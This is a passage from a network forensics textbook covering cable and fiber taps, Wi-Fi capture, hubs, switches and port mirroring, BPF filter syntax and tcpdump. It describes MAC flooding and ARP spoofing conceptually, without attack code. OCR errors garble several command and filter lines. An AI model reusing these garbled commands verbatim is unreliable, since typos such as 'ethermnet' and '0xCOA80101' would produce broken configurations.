traffic relating to only one end station.
If you put a commercial TP network tap inline, it can capture all voltages for all
twisted pairs in the cable.

3.1.1.2 Optical

Fiber optic cables consist of thin strands of glass (or sometimes plastic) which are bundled
together in order to transmit signals across a distance. Light is transmitted into the fiber
at one end and travels along an optic fiber, reflecting constantly against the walls until it
reaches an optical receiver at the other end. The light naturally degrades during travel, and
depending on the length of the fiber optic cable, an optical regenerator may be used to
amplify the light signal in transit.?

3.1.1.3 Intercepting Traffic in Cables

There are a variety of tools available for intercepting traffic in cables, including inline network
taps, “vampire” taps, induction coils, and fiber optic taps. We discuss each of these in turn.

e Inline Network Taps An inline network tap is a Layer 1 device, which can be
inserted inline between two physically connected network devices. The network tap
will pass along the packets and also physically replicate copies to a separate port
(or multiple ports). Network taps commonly have four ports: two connected inline to
facilitate normal traffic, and two sniffing ports, which mirror that traffic (one for each
direction). Insertion of an inline network tap typically causes a brief disruption, since
the cable must be separated in order to connect the network tap inline.

Many network taps use hardware to replicate data, which allows for extremely high-
fidelity packet captures. Network taps are commonly designed to require no power for
passively passing packets. This reduces the risk of a network outage caused by the tap.
It is possible to pass traffic to a monitoring port without using power, although most
often power is required for monitoring.

Sophisticated taps exist that can do load-balancing for intrusion detection. These
taps tend to be more expensive. Recently, commercial vendors have been offering

3. “Howstuffworks,” http:;//communication.howstuffworks.com/fiber-optic-communications/fiber-opticl.htm.
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filtering taps, which can filter traffic prior to replication based on VLAN tag, protocol,
port, etc.

Network forensic analysts should keep in mind that every additional break in a cable
is a potential point of failure; therefore inline insertion of network taps necessarily
increase the risk of network disruption.

Vampire Taps “Vampire taps” are devices that pierce the shielding of copper wires
in order to provide access to the signal within. Unlike inline network taps, the cable
does not need to be severed in order for a vampire tap to be installed. However, investi-
gators should take caution: As noted by security researcher Erik Hjelmvik, “[ijnserting
a vampire tap, even if done correctly, can bring down the link on a TP cable since the
characteristics of the required balanced communication will be affected negatively.”

Telecommunications engineers should be familiar with vampire tap technology, as
it is standard issue with “butt kits” (telephone circuit testing equipment, typically
worn on the toolbelts of telephone repair technicians). These handsets are used by
inside-wiring technicians to tap into the punchdown blocks in wiring closets in order
to sort through the large numbers of twisted pairs that so often go unnumbered and
unlabeled.

Butt kits typically come with a combination of punchdown block adaptors and
vampire taps so that you can either test a circuit the way it was wired on the block or
just pierce the sheathing of any random set of wires to sample the signal. Get yours
at your local hardware store!

Induction Coils All wires conducting voltages emit various electromagnetic signals
outside of the intended channel. Such electromagnetic radiation is more pronounced
in unshielded wires, such as UTP, due to the lack of shielding that plastic sheathing
affords. As a consequence, it is theoretically possible to introduce what is called an
“induction coil” alongside such wiring in order to translate the laterally emitted signals
into their original digital form.

Induction coils are devices that essentially transform the magnetism of weak signals
to induce a much stronger signal in an external system. Such a device could potentially
capture the throughput of a cable without the detection of the users, administrators,
or owners of the wires. However, such devices are not commercially available in a way
that the public can acquire in order to surreptitiously tap Catbe and Cat6. That’s
not to say that serious hobbyists couldn’t build one, or that a dedicated investigator
couldn’t acquire one.

This potential attack or surveillance mechanism (take your pick) tends to get more
hype than it is probably due.

Fiber Optic Taps Inline network taps work similarly for fiber optic cables and
copper cables. To place a network tap inline on a fiber optic cable, network technicians
splice the optic cable and connect it to each port of a tap. This causes a network
disruption.

Inline optical taps may cause noticable signal degradation. Network engineers often
use tools called optical time-domain reflectometers (OTDR) to analyze and trouble-
shoot fiber optic cable signals. OTDRs can also be used to locate breaks in the cable,

4. Personal correspondence with Sherri Davidoff and Jonathan Ham.
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including splices inserted for taps. With OTDRs, technicans can create a baseline of
the normal signal profile of a fiber optic cable, and potentially detect not only when
the profile changes but where on the cable the disruption has likely occurred.

It is much more difficult to surreptitiously tap a fiber optic cable than a copper cable.
Vampire taps for copper cables can pierce the insulation and physically connect with
the copper wires to detect the changes in voltage within. Monitoring light traveling
through glass is not so easy. Bend couplers can be used to capture stray photons and
gain some information about the signal within a fiber optic cable without cutting the
glass. Theoretically, similar devices might exist that can fully reconstruct the optical
signal without requiring investigators or technicians to physically splice the optic cable.
However, at the time of this writing, noninterference fiber optic taps do not appear to
be commercially available to the public.®

Undersea Cable Cuts: Truth or Conspiracy Theory?

In early 2008, a series of undersea cable disruptions in the Middle East were reported. These
caused Internet and voice outages and slowdowns in India, Pakistan, Egypt, Qatar, Saudi
Arabia, and several other countries. After three separate incidents in which five cables were
damaged, many people began speculating that the cuts were not a coincidence, but rather
deliberately caused to induce economic disruptions, to cause Internet rerouting, or to cover
the installation of surreptitious fiber optic network taps.

Security professional Steve Bellovin wrote:

Four failures in less than a week. Coincidence? Or enemy action? If so, who’s the
enemy, and what are the enemy’s goals? You can’t have that many failures in
one place—especially such a politically sensitive place—without people getting
suspicious ...

Now-—the US certainly has the ability to tap undersea cables. After all, they
did just that to the Soviets several decades ago. ... That said, I don’t think it’s
an NSA or Mossad operation. ... Four failures at once will raise suspicions, and
that’s the last thing you want when you’re eavesdropping on people.

If if wasn’t a direct attempt at eavesdropping, perhaps it was indirect. Several
years ago, a colleague and I wrote about link-cutting attacks. In these, you cut
some cables, to force traffic past a link you're monitoring. Link-cutting for such
purposes isn’t new; at the start of World War I, the British cut Germany’s
overseas telegraph cable to force them to use easily-monitored links.% 7+8

5. “Undersea Optical Cable Cuts,” February 10, 2008, http://cryptome.info/cable-cuts.htm.

6. Bruce Schneier, “Schneier on Security: Fourth Undersea Cable Failure in Middle East,” February 5, 2008,
http://www.schneier.com/blog/archives/2008/02/fourth _undersea.html.

7. “The Internet: Of Cables and Conspiracies,” The FEconomist, February 7, 2008, http://www
.economist.com/node/106539637story -id=10653963.

8. Steven M. Bellovin, “Underwater Fiber Cuts in the Middle East,” February 4, 2008, http://www
.cs.columbia.edu/smb/blog/2008-02/2008-02-04.html.
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3.1.2 Radio Frequency

Since the late 1990s, radio frequency has become an increasingly popular medium for trans-
mission of packetized data and Internet connectivity. The Institute of Electrical and Elec-
tronics Engineers (IEEE) published a series of international standards (“802.11”) for wireless
local area network (WLAN) communication. These standards specify protocols for WLAN
traffic in the 2.4, 3.7, and 5 GHz frequency ranges. The term “Wi-Fi” is used to refer to
certain types of RF traffic, which include the IEEE 802.11 standards.?> 1011

RF waves travel through the air, which is by nature a shared medium. As a result, WLAN
traffic cannot be physically segmented in the way that switches segment traffic on a wired
LAN. Because of physical media limitations, all WLAN transmissions may be observed and
intercepted by all stations within range. Stations can capture the RF traffic, regardless of
whether they participate in the link. This attribute makes passive acquisition of WLAN
traffic very easy—both for investigators and attackers.

In the United States, the Federal Communications Commission has placed limits on the
strength of emissions for stations operating in 802.11 frequency ranges, and the gain of an-
tennae.'?' '3 As a result, there are practical limitations on the distances over which stations
can legally capture and receive data over 802.11 networks in the United States. However,
directional transceivers can be constructed from off-the-shelf components which can dra-
matically increase the effective ranges. Such devices may be illegal but are difficult to detect
and prevent. If a suspect is already engaged in illicit activies, there is no reason to assume
they won’t go further in their criminal activities and eavesdrop or transmit at distances that
exceed FCC specifications. (In South America, researcher Ermanno Pietrosemoli announced
that his team had successfully transferred data via Wi-Fi over a distance of 238 miles.) !4:1?

Why does this matter for the investigator? First, investigators should keep in mind that
the target of investigation may be able to access the WLAN from a long distance, far outside
the physical perimeter of a facility. Second, investigators should remember that when you
connect over wireless links, your activity can potentially be monitored from a great distance.

Even when the Wi-Fi traffic is encrypted, there is commonly a single pre-shared key
(PSK) for all stations. In this case, anyone who gains access to the encryption key can listen
to all traffic relating to all stations (as with physical hubs). For investigators, this is helpful

9. IEEE, “Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications
Amendment 3: 36503700 MHz Operation in USA,” IEEE Standards Association (June 12, 2007), http://
standards.ieee.org/getieee802/download/802.11-2007.pdf.

10. IEEE, “Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY)
Specifications Amendment 3: 36503700 MHz Operation in USA” (November 6, 2008), http://
standards.ieee.org/getiece802/download/802.11y-2008.pdf.

11. “fcc.gov,” http://wireless.fcc.gov/services/index.htm?job=service_home&id=3650_3700.

12. “EIRP Limitations for 80211 WLANSs,” http://www.wi-fiplanet.com/tutorials/article.php/1428941/
EIRP-Limitations-for-80211-WLANs.htm.

13. “CFR,” 2005, http://edocket.access.gpo.gov/cfr_2005/octqtr/47cfr15.249.htm.

14. Michael Kanellos, “New Wi-Fi Distance Record: 382 Kilometers,” CNET News, June 18, 2007, http://
news.cnet.com/8301-10784_3-9730708-7.html?part=rss&subj=news&tag=2547-1_3-0-5.

15. David Becker, “New Wifi Record: 237 Miles,” Wired, June 2007, http://www.wired.com/
gadgetlab/2007 /06 /w_wifi_record_2.
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because local IT staff can provide authentication credentials, which facilitate monitoring.
Furthermore, there are well-known flaws in common 802.11 encryption algorithms such as
Wired Equivalent Privacy (WEP), which can allow investigators to circumvent or crack
unknown encryption keys. Complicating matters, wireless access points (WAPs) employ a
range of different standards for encryption and authentication. Some devices are even based
on draft standards that have not yet been finalized (as of the time of this writing, that
includes 802.11n).

It is possible to passively capture encrypted Wi-Fi traffic and decrypt it offline later using
the encryption keys. Once an investigator has gained full access to unencrypted 802.11x
traffic contents, this data can be analyzed in the same manner as any other unencrypted
network traffic.

Regardless of whether or not Wi-Fi traffic is encrypted, investigators can gain a great
deal of information by capturing and analyzing 802.11 management traffic. This information
commonly includes:

Broadcast SSIDs (and sometimes even nonbroadcast ones)

WAP MAC addresses

Supported encryption/authentication algorithms

Associated client MAC addresses

e In many cases, the full Layer 3+ packet contents

In order to capture wireless traffic, forensic investigators must first have the necessary
hardware. Many standard 802.11 network adapters and drivers do not include support for
monitor mode, which allows the user to capture all packets on a network, not just packets
destined for the host. The network adapter must also support the specific 802.11 protocol in
use (i.e., 802.11a/b/g cards do not necessarily support 802.11n). Check your 802.11 network
adapter’s model and read about the corresponding drivers for your operating system to find
out if your adapter can be used for 802.11 passive evidence acquisition.

There are commercially available 802.11 network adapters that are specifically designed
for capturing packets. These adapters include very handy features for forensic investigators,
such as the ability to operate completely passively (so the investigator does not have to
worry about accidentally transmitting data), connectors for extra antennae, and portable
form factors such as USB. One popular model is the AirPcap USB adapter, manufactured
by Riverbed Technology.'® Riverbed Technology only supports the AirPcap device on Win-
dows operating systems, though wireless security professional Josh Wright has engineered a
modified BackTrack Linux distribution with modified drivers that work with some models.
(Please see Chapter 6 for more details.)

3.1.3 Hubs

A network hub is a dumb Layer 1 device that physically connects all stations on a local
subnet to one circuit. A hub does not store enough state to track what is connected to it, or
how. It maintains no knowledge of what devices are connected to what ports. It is merely a

16. “Riverbed Technology—AirPcap,” Riverbed, 2010, http://www.riverbed.com/us/products/cascade/
airpcap.php.
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physical device designed to implement baseband (or “shared”) connectivity. In other words,
all the devices on the local segment that the hub provides are physically connected and,
therefore, share the same physical medium.

When the hub receives a frame, it retransmits it on all other ports. Therefore, every
device connected to the hub physically receives all traffic destined to every other device
attached to the hub. If a hub exists in the network, then you can connect to it and trivially
sniff all of the traffic on the segment. A wireless access point is a special example of a hub,
which we discuss in more detail in Chapter 6.

Many devices that are currently labeled as “hubs” by the manufacturer are, in fact,
switches. This can be confusing to sort out. There are two indicators that can help you
determine whether something labeled as a hub really is a hub. The first way is to examine
the lights on the front panel. If there is an LED labeled “collision,” it is a hub. If there
is no such light, it’s probably a switch. The collision light indicates that two stations have
transmitted at the same time and the physical medium must reset itself. On a busy network,
this can happen thousands of times per second.

The more reliable way to determine if a device is actually a hub is to connect a station to
it, put the network interface into promiscuous mode, and observe the traffic with tcpdump
or a similar tool. If all you see is traffic destined for your station and broadcast traffic, then
the device is a switch. If it is a hub, you should see all the other traffic.

Investigators must be careful when using hubs as traffic capture devices. The investigator
sees all traffic on the segment, but so can everyone else. A compromised system could
trivially act as a passive listener and eavesdrop on any data transfers or communications.
Any evidence transmitted across the network, or normal traffic sent by the investigator’s
operating system, may be trivially captured by anyone else on the local network. It may be
appropriate to take advantage of a hub that is already installed on a network, but installing
a hub for the purposes of traffic capture can introduce new risks unnecessarily.

Bottom line for the investigator: if you walk into an environment with a hub, you may
want to take advantage of that. However, keep in mind that anything you can see, and
anything you transmit, can be seen by anyone else on the network as well. Furthermore,
the design of hubs varies greatly by manufacturer, and there is no guarantee that you are
actually receiving all of the traffic you expect, or that it really is a hub. Caveat emptor.

3.1.4 Switches

Switches are the most prevalent Layer 2 device. Like hubs, they also connect multiple stations
together to form a LAN. Unlike hubs, switches use software to keep track of which stations
are connected to which ports, in its CAM table. When a switch receives a packet, it forwards
it only to the destination station’s port. Individual stations do not physically receive each
other’s traffic. This means that every port on a switch is its own collision domain. Switches
operate at Layer 2 (the data-link layer), and sometimes Layer 3 (the network layer).

Even the simplest switch maintains a CAM table, which stores MAC addresses with cor-
responding switch ports. A MAC address is an identifier assigned to each station’s network
card. The purpose of the CAM table is to allow the switch to isolate traffic on a port-by-
port basis so that each individual station only receives traffic that is destined for it, and not
traffic destined for other computers.
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Switches populate the CAM table by listening to arriving traffic. When a switch receives
a frame from a device, it looks at the source MAC address and remembers the port associated
with that MAC address. Later, when the switch receives a packet destined for that device,
it looks up the MAC address and corresponding port in the CAM table. It then sends the
packet only to the appropriate port, encapsulated with the correct Layer 2 Ethernet address.

In this way, a switch segments the traffic endpoint-by-endpoint, even while technically
sharing the same physical medium.

3.1.4.1 Obtaining Traffic from Switches

Investigators can, and often do, capture network traffic using switches. Even though by
default switches only send traffic to the destination port indicated in the frame, switches
with sufficient software capabilities can be configured to replicate traffic from one or more
ports to some other port for aggregation and analysis. Different vendors have different
terminology for this capability—probably the most common term is Cisco’s Switched Port
Analyzer (SPAN) and Remote Switched Port Analyzer (RSPAN). The most vendor-neutral
term for this is “port mirroring.”

Switches have varying port mirroring capabilities, depending on their make and model.
It is common to encounter a switch that is capable of some port mirroring, but for that
capability to be limited by the number of ports that can be mirrored, or by the number of
ports that can be used for aggregation and analysis.

Port mirroring is inherently limited by the physical capacity of the switch itself. For
example, let’s say you have a 100Mbps switch and you attempt to mirror four ports, which
are each passing an average of 50Mbps to a single SPAN port. The total amount of traffic
from all four ports adds up to 200Mbps, which is far above the capacity of any one port to
receive. The result is “oversubscription,” and packets will be dropped by the switch.

You need administrative access to the switch’s operating system in order to configure
port mirroring. Once you have mirrored the ports of interest, you can connect a sniffer to
the mirroring port and capture all of the traffic.

If you don’t have administrative access, it is still possible to sniff traffic from a switch.
Let’s study the methods that attackers use. In rare cases, such as when the network admin-
istrators themselves are not trusted, an investigator may need to use the same techniques
as attackers. These are not the safest methods, as they cause the switch to operate outside
normal parameters, but they can work.

To sniff traffic from a switch, attackers use one of two common methods. First, the
attacker can flood the switch with bogus information for the CAM table by sending it
many Ethernet packets with different MAC addresses. This attack is referred to as “MAC
flooding.” Once the CAM table is filled, many switches by default will “fail open,” and send
all traffic for systems not in the CAM table out to every port.

Second, an attacker can conduct an “ARP spoofing” attack. Normally, the Address
Resolution Protocol (ARP) is used by stations on a LAN to dynamically map IP addresses
(Layer 3) to corresponding MAC addresses (see Chapter 9 for details). In an ARP spoofing
attack, the attacker broadcasts bogus ARP packets, which link the attacker’s MAC address
to the victim’s IP address. Other stations on the LAN add this bogus information to their
ARP tables, and send traffic for the router’s IP address to the attacker’s MAC address
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instead. This causes all IP packets destined for the victim station to be sent instead to the
attacker (who can then copy, modify, and/or forward them on to the victim).

To receive outbound communications, the attacker would again use ARP spoofing to link
the attacker’s MAC address to the IP address used by the victim’s gateway. Any packets
from the victim destined for the local gateway would be sent instead to the attacker, who
could copy or modify them and then forward them along to the gateway.

Note that MAC flooding is an attack on the switch itself, whereas ARP spoofing or
poisoning is an attempt to poison the ARP caches of all the systems on the LAN.

Sniffing on Switches

The safest way to obtain traffic from a switch is to coordinate with a network administrator
to configure “port mirroring,” in which traffic from ports of interest is mirrored to a port
that is used by the investigator.

Switches can also be attacked in several ways to try to facilitate sniffing. The most
common are:

e MAC flooding (which attacks the switch’s CAM table directly)
o ARP spoofing (which attacks the ARP tables of the hosts on the LAN)

It would be hard to argue that either of these methods is really “passive,” since they
require an attacker to send extensive and continuing traffic on the network. However, these
are methods for facilitating traffic capture on switched networks when port mirroring or
tapping a cable is not an option.

Configuration of port mirroring with switches is vendor- and device-specific. The follow-
ing example shows how to configure port mirroring for a Cisco ASA 5500 (IOS 8.3), which
has the hostname “ant-fw.” In this case, traffic on Ethernet ports 2, 3, 4, 5, and 6 are all
copied to port 7.

ant-fw(config)# interface ethermnet 0/7

ant-fw(config-if)# switchport monitor ethernet 0/6
ant-fw(config-if)# switchport monitor ethernet 0/5
ant-fw(config-if)# switchport monitor ethernet 0/4
ant-fw(config-if)# switchport monitor ethernet 0/3
ant-fw(config-if)# switchport monitor ethernet 0/2

Once the SPAN port is set up, an investigator can simply plug a forensic monitoring
station into port 7 and sniff traffic copied from ports 2 through 6.

3.2 Traffic Acquisition Software

Once you gain physical access to network traffic, you need software to record it. In this
section, we explore the most common software libraries used for recording, parsing, and
analyzing captured packet data: libpcap and WinPcap. We also review tools based on these
libraries, including tcpdump, Wireshark, and more. We delve into methods for filtering
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traffic during and after capture, since the importance of filtering has increased in recent
years in proportion to the rising volume of network traffic.

3.2.1 libpcap and WinPcap

Libpcap is a UNIX C library that provides an API for capturing and filtering data link-
layer frames from arbitrary network interfaces. It was originally developed at the Lawrence
Berkeley National Laboratory (LBNL),'7 and initially released to the public in June 1994.'®
Different UNIX systems have different architectures for processing link-layer frames. Conse-
quently, programmers writing a utility on UNIX to inspect or manipulate link-layer frames
originally had to write operating system—specific routines for accessing them. The purpose
of libpcap was to provide a layer of abstraction so that programmers could design portable
packet capture and analysis tools.

In 1999, the Computer Networks Group (NetGroup) in the Politecnico di Torino pub-
lished WinPcap, a library based on libpcap that was designed for Windows systems. Since
then, many people and companies have contributed to the WinPcap project. The code is
now hosted at a site maintained by Riverbed Technology (also the commercial sponsor of
Wireshark).

The most popular packet sniffing and analysis tools today are based on the libpcap
libraries. These include tcpdump, Wireshark, Snort, nmap, ngrep, and many others. Con-
sequently, these tools are interoperable in the sense that packets captured with one tool
can be read and analyzed with another. A quintessential feature of libpcap-based utilities is
that they can capture packets at Layer 2 from just about any network interface device and
store them in a file for later analysis. Other tools can then read in these “packet capture” or
“pcap” files while filtering the traffic based on specific protocol information, perhaps writing
out a more refined packet capture for yet further analysis.

Many tools based on libpcap also include specialized functionality, such as the ability to
merge packet captures (i.e., mergecap), to split a capture up by TCP streams (i.e., tcpflow),
or to conduct regular expression searches on packet contents (i.e., ngrep). There are, in fact,
so many libpcap-based tools that we can’t hope to cover them all here. Instead, we focus
on the tools that are most commonly used.

Both libpcap and WinPcap are free software released under the “BSD license,” which
has been approved by the Open-Source Initiative.!?

3.2.2 The Berkeley Packet Filter (BPF) Language

In the modern era, the volume of data that flows across networks has become so huge that it
is very important for investigators to know how to filter it during both capture and analysis.

Libpcap includes an extremely powerful filtering language called the “Berkeley Packet
Filter” (BPF) syntax.?Y Using BPF filters, you can decide which traffic to capture and in-
spect and which traffic to ignore. BPF allows you to filter traffic based on value comparisons
in fields for Layer 2, 3, and 4 protocols. It includes built-in references called “primitives” for

17. “LBNL’s Network Research Group,” August 2009, http://ee.lbl.gov/.
18. “Libpcap,” http://www.tcpdump.org/release/libpcap-0.5.tar.gz.
19. “Open Source Licenses—Open Source Initiative,” 2011, http://www.opensource.org/licenses.

20. “TCPDUMP/LIBPCAP public repository,” 2010, http://www.tcpdump.org.
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many commonly used protocol fields. BPF invocations can be extremely simple, constructed
from primitives such as “host” and “port” specifications, or very arcane constructions in-
volving specific field values by offset (even down to individual bits). BPF filters can also
consist of elaborate conditional chains, nesting logical ANDs and ORs.

BPF syntax is so widely used and supported by traffic capture and analysis tools that
every network investigator should be familar with it. In this section, we review basic elements
of the BPF syntax.

3.2.2.1 BPF Primitives

By far, the easiest way to construct a BPF filter is to use BPF primitives to refer to specific
protocols, protocol elements, or qualities of a packet capture. Primitives, as defined by the
“pcap-filter” manual page, “usually consist of an id (name or number) preceded by one
or more qualifiers.” The list of available primitives seems to grow with every revision of
libpcap/tcpdump. The manual specifies three different kinds of qualifiers: 2!

e type qualifiers say what kind of thing the id name or number refers to. Possible types
are host, net, port and portrange.

e dir qualifiers specify a particular transfer direction to and/or from id. Possible direc-
tions are src, dst, src or dst, src and dst, addrl, addr2, addr3, and addr4.

e proto qualifiers restrict the match to a particular protocol. Possible protos are ether,
fddi, tr, wlan, ip, ip6, arp, rarp, decnet, tcp and udp.

There are many other types of primitives available. Check the manual pages for your
version of libpcap or libpcap-based tool.

Perhaps the most commonly used BPF primitive is “host id,” which is used to filter
traffic involving a host, where id is set to an IP address or name. This can be further
restricted by directionality using the primitives “dst host id’ or “src host id’ to specify that
the IP address in question must be either the source or destination, respectively. The same
principles apply for the “net,” “ether host,” and “port” classes of primitives. Filtering can
also be done based on protocol, using primitives such as “ip” (to filter for IPv4 packets),
“ether” (to filter for Ethernet frames), “tcp” (to filter for TCP segments), or “ip proto
protocol’ (to filter for TP packets that encapsulate the specified protocol). (Please see the
tepdump or “pcap-filter” manual page for a full list of options.) Typing something as simple
as ‘tcp and host 10.10.10.10° produces output that only includes TCP traffic to and from
10.10.10.10, with all other frames filtered out.

For instance, suppose we want to see only the traffic in which a computer with the IP
address 192.168.0.1 communicates with any other system except 10.1.1.1 over ports 138, 139,
or 445.

Here’s a BPF filter that would accomplish this:

'host 192.168.0.1 and not host 10.1.1.1 and (port 138 or port 139 or port
445) "

21. “Man Page for pcap- (freebsd Section 0)—The UNIX and Linux Forums,” January 6, 2008,
http://www.unix.com/man-page/freebsd /7 /pcap-filter.


http://www.unix.com/man-page/freebsd/7/pcap-filter

3.2 Traffic Acquisition Software 57

BPF Primitives

Commonly used BPF primitives include:?2

host id, dst host id, src host id

net id, dst net id, src net id

ether host id, ether dst host id, ether src host id
port id, dst port id, src port id

gateway id, ip proto id, ether proto id

tcp, udp, icmp, arp

vlan id

There are many other BPF primitives. Please see the tcpdump or “pcap-filter” manual page
for a full list.

3.2.2.2 Filtering Packets by Byte Value

In addition to primitive comparisons, the BPF language can be used to compare the values
of any byte-sized (or multibyte-sized) fields within a frame. The BPF language provides
syntax to specify the byte offset relative to the beginning of common Layer 2, 3, and 4
protocols. Important: Byte offsets are counted starting from 0! For example, the first byte
in a structure is at offset “0,” and is referred to as the zero-byte offset. The seventh byte in
a structure is at offset “6,” and is referred to as the sixth-byte offset.

Here are some examples:

ip[8] < 64

This filter would match all packets in which the single byte field starting at the
eighth byte offset of the IP header, is less than 64. This field is called the “Time to
live,” or “TTL.” The default starting TTL in most Windows systems is 128, so this
would probably weed out traffic from Windows systems on the LAN, while matching
traffic from Linux systems (which usually have a default starting TTL of 64).

ip[9] '=1

This filter would match frames whose single byte field at the ninth byte offset of the
IP header does not equal “1.” Since the ninth byte offset of the IP header specifies the
embedded protocol, and “1” represents “ICMP,” this would match any packet where
the embedded protocol is not ICMP. This expression is equivalent to the primitive
“not icmp”.

icmp[0] = 3 and icmp[1] = 0
This construct isolates all ICMP traffic where the one-byte field at the 0 byte offset
of the ICMP header is equal to 3, and where the one-byte field at the first byte offset

22. “tcpdump(8): dump traffic on network—Linux man page,” 2011, http://linux.die.net/man/8/tcpdump.
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is equal to 1. In other words, this filter matches only ICMP traffic where the packet
is of ICMP type 3 code 0: “Network Unreachable” messages.

e tcpl[0:2] = 31337
This construct introduces the notation for specifying a multibyte field (2 bytes) at
the 0 byte offset of the TCP header (the TCP source port). In this case, it would be
equivalent to using the BPF primitive “src port 31337.”

e ip[12:4] = 0xCOA80101
Here we see a 4-byte comparison of the contents of the IP header beginning at
the 12th byte offset: the source IP address. Notice that the comparison is made in
hexadecimal notation. Converted to decimal notation, this is equivalent to 192.168.1.1
(0xCO = 192, 0xA8 = 168, 0x01 = 1). This filter matches all traffic where the source
IP address is 192.168.1.1.

3.2.2.3 Filtering Packets by Bit Value

Of course, not all protocol header fields are a byte or more in size, and also begin and end
precisely on the byte-boundary. Fortunately, the BPF language includes a way to specify
smaller or offset fields (although it may seem complicated). To do this, we cite a specific byte
or bytes (as explained above), and then compare them bit-by-bit to some value that we hope
to find. This is called “bitmasking.” Essentially, we must identify one or more byte-sized
chunks of data that contain the bits we are interested in, and then specify the particular
bits of interest using a binary representation known as a “bitmask.” In the bitmask, “1”
represents a bit of interest and “0” represents a bit we choose to ignore.

For example, if we’re only interested in the four lowest-order bits of a byte (the lowest-
order “nibble”), we can represent this using a bitmask of “00001111” (in binary), which can
also be represented as the value “0x0F” (in hexadecimal).

The IP header is a minimum of 20 bytes long, by specification. It is possible to include
optional header fields which increase the IP header length. However, IP options are not
commonly used in practice (for a while, it was vogue for attackers to use IP options to
configure source routing, which facilitated man-in-the-middle attacks).

Let’s suppose that we’d like to filter for packets where IP options are set (in other
words, the IP header length is greater than 20 bytes). The low-order nibble of the IP header
represents the IP header length, measured in 32-bit “words” (each word is four bytes long).
To find all packets where the IP header is greater than 20 bytes in length, we need to match
packets where the low-order nibble is greater than five (5 words x 4 bytes per word = 20
bytes). To accomplish this, we create a BPF filter with a bitmask of “00001111” (0x0F),
which is logically “AND-ed” with the targeted value. The resulting expression is:

ip[0] & 0xOF > 0x05

Likewise, if we want to find all of the IP packets where the “Don’t Fragment” flag (a single
binary bit at byte offset 6 of the IP header) is set to 1, we can create a binary bitmask of
“01000000” (0x40) to denote that we're only interested in the packets where the second-to-
highest-order bit is 1, and then compare this to byte offset 6 of the IP header:

ip[6] & 0x40 != 0
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BPF Language

e libpcap includes the Berkeley Packet Filter (BPF) language

Almost all libpcap-based utilities leverage this functionality

Simple filters can be built with primitives

Any byte-sized protocol field can be compared with a numerical value

Bitwise filters can be built with bitmasking and value comparisons

Complex expressions can be constructed via nested logical ANDs and ORs

3.2.3 tcpdump

Tcpdump is a tool for capturing, filtering, and analyzing network traffic. It was developed
at LBNL, and first released to the public in January 1991.23 Note that although tcpdump
currently relies upon libpcap for functionality, its public release actually predates that of
libpcap.

Tepdump was designed as a UNIX tool. In 1999, reseachers at the Politecnico di Torino
ported it to Windows and released “WinDump,” a Windows version.?* WinDump is now
hosted at a site maintained by Riverbed Technology, along with WinPcap. The tcpdump and
WinDump utilities are not completely identical, but typically produce comparable results.
It can happen that a packet capture produced by WinDump is not subsequently readable
by tcpdump, but such an occurrence is infrequent. The command syntax for both tools is
very similar. For the purposes of this book, you can consider them interchangeable except
when differences are explicitly mentioned.

The basic purpose of tcpdump is to capture network traffic and then print or store the
contents for analysis. Tcpdump captures traffic bit-by-bit as it traverses any physical media
suitable for conducting link-layer traffic (copper, fiber, or even air). Since tcpdump is based
on libpcap, it captures at Layer 2 (the data link layer). (By default, tcpdump’s output only
displays Layer 3 and above protocol details, but the “-e” flag can be used to show Layer 2
data as well.)

Beyond merely capturing packets, tcpdump can decode common Layer 2 through 4
protocols (and some higher-layer protocols as well), and then display their information to
the user. The decoded packets can be displayed in hexadecimal or in the ASCII equivalents
(where the data is textual), or both.

There are two ways that tcpdump is most commonly employed. First, it is used to
facilitate on-the-fly analysis for troubleshooting network issues in a tactical way. This typi-
cally encompasses capture, filtering, and analysis, all performed simultaneously. However, as

23. “Internet Archive Wayback Machine,” http://web.archive.org/web/20001001124902/http://www
.tcpdump.org/release/tcpdump-3.5.tar.gz.

24. Riverbed Technology, “WinDump—Change Log,” December 4, 2006, http://www.winpcap.org/
windump/misc/changelog.htm.
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common as this practice is, it tends to be suitable only when a quick glance at the data
will suffice.

Tcepdump is also frequently used to capture traffic of interest passing on a target segment
over a longer period of time, and store it for offline analysis and perhaps even future correla-
tion with other data. Depending on the throughput and utilization of the network segment
and the amount of each packet retained, the volume of data captured can be enormous.

3.2.3.1 Fidelity

One reason that tcpdump is such a powerful tool is that it is capable of capturing traffic
with high fidelity, to the degree that the resulting packet capture can constitute evidence
admissible in court. However, the quality of the packet capture can be impacted by hardware
limitations and configuration constraints.

For example, tcpdump’s ability to capture packets may be limited by the clock speed of
the processor in the capturing workstation. Capturing packets is a CPU-intensive activity.
If the CPU of the capturing station becomes too heavily utilized, either by the tcpdump
process itself or by any other running process, tcpdump will “drop packets” —in other words,
it will fail to capture them. When this happens, there will be packets flying by that tcpdump
simply doesn’t have the resources to pick up, and it will ignore them entirely.

If you are merely interested in sampling packets, this may not matter too much. However,
if your goal is to obtain a high-fidelity capture of ongoing network traffic, missing nothing,
this problem would be absolutely critical.

Especially on high-traffic networks, investigators may also be limited by disk space. If
the capturing workstation does not have enough disk space to store the volume of traffic
that investigators hope to be able to inspect, it may be necessary to either filter traffic upon
capture or provide more disk storage.

One crucial configuration option for capturing packets using tcpdump is the snapshot
length, known as “snaplen.” Snaplen represents the number of bytes of each frame that
tcpdump will record. It is calculated from the zero-byte offset of the data link-layer frame.

Selecting the correct snaplen for a packet capture is critical. If the chosen snaplen is too
short, data will be missing from every frame and can never be recovered. If the snaplen
is too long, it may cause performance degradation, limit the volume of traffic that can be
stored, and perhaps cause violations of regulations such as the United States Wiretap Act,
which prohibit capturing communications contents except in certain circumstances.

Tepdump’s default snaplen varies depending on the version used. As of version 4.1.0,
by default tcpdump captures the full frame automatically.?> This has undoubtedly saved
many forensic investigators from much pain and heartache. Older versions of tcpdump had
a default snaplen of 68, meaning only the first 68 bytes of the frame were actually captured.
To capture full packet contents, users had to manually specify a larger value. Woe to the
investigator who forgot to specify a longer snaplen, only to discover later that every packet
was truncated, the contents never to be recovered!

Once upon a time, many people recommended using a snaplen of 1,514 bytes because the
maximum transmission unit (MTU) of Ethernet is 1,500 bytes. Since the Ethernet header
itself is 14 bytes long, this meant that the total frame length was 1,514 bytes. Unfortunately,

25. “tcpdump,” http://www.tcpdump.org/release/tcpdump-4.1.1.tar.gz.
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many people erroneously specified a snaplen of just 1,500 bytes, forgetting to account for
the 14-byte Ethernet header. As a result, they accidentally truncated every IP packet by 14
